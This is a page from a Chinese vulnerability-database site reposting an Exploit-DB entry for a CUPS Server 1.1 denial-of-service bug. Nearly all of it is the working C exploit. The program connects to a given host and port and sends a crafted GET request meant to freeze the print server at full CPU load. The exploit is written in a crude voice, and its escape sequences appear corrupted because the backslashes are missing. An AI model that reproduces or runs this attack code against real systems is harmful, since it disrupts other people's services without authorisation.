CUPS Server 1.1 – GET Denial of Service

CUPS Server 1.1 – GET Denial of Service

漏洞ID 1055366 漏洞类型
发布时间 2005-09-05 更新时间 2005-09-05
图片[1]-CUPS Server 1.1 – GET Denial of Service-安全小百科CVE编号 N/A
图片[2]-CUPS Server 1.1 – GET Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1196
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* dl-cups.c v0.1
 * CUPS server freeze and processor load "fuckup" exploit
 * bug found and exploit coded by tracewar  (darklogic team)
 * for educaional purposes only.
 *****************************************************************
 * greetz goes to:
 * setuid, matan.
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

char EVIL[] = "x2ex2ex5cx2ex2e";

void usage(char *argv0) {
	fprintf(stdout, "cups/1.x server freeze and remote cpu usage fuckupn");
	fprintf(stdout, "exploit coded and bug found by tracewar of darklogicnn");
	fprintf(stdout, "usage: %s remote_host remote_portn", argv0);
	exit(0);
}

int main(int argc, char **argv) {
	char	buffer[50] = "GET /";
	int	sock;
        struct	sockaddr_in	serv_addr;
        struct	hostent	*crap;

	if(argc != 3)
		usage(argv[0]);

	printf("# Making our evil buffer... ");	
	snprintf(&buffer[5], 47, "%s", EVIL);        
	strcat(buffer, "rn");
	printf("(done)n");

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0)
                return printf("# error creating socket.n");
        crap = gethostbyname(argv[1]);
        if(crap == NULL)
                return printf("# cant resolve the specified hostname: %sn", argv[1]);
        else
                printf("# connecting to victim... ");

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(atoi(argv[2]));
        bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

        if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
                return printf("(error)n# check again %s:%dn", argv[1], atoi(argv[2]));

        printf("(done)n# sending crafted string... ");
        if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
                return printf("n# error while sending the crafted string.!n");
	close(sock);
        return puts("(done)n# The server should be frozen now with 100% cpu usage.");

}

// milw0rm.com [2005-09-05]

相关推荐: Netscape Fasttrack Server拒绝服务漏洞

Netscape Fasttrack Server拒绝服务漏洞 漏洞ID 1205861 漏洞类型 未知 发布时间 2001-03-26 更新时间 2005-05-02 CVE编号 CVE-2001-0175 CNNVD-ID CNNVD-200103-091…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享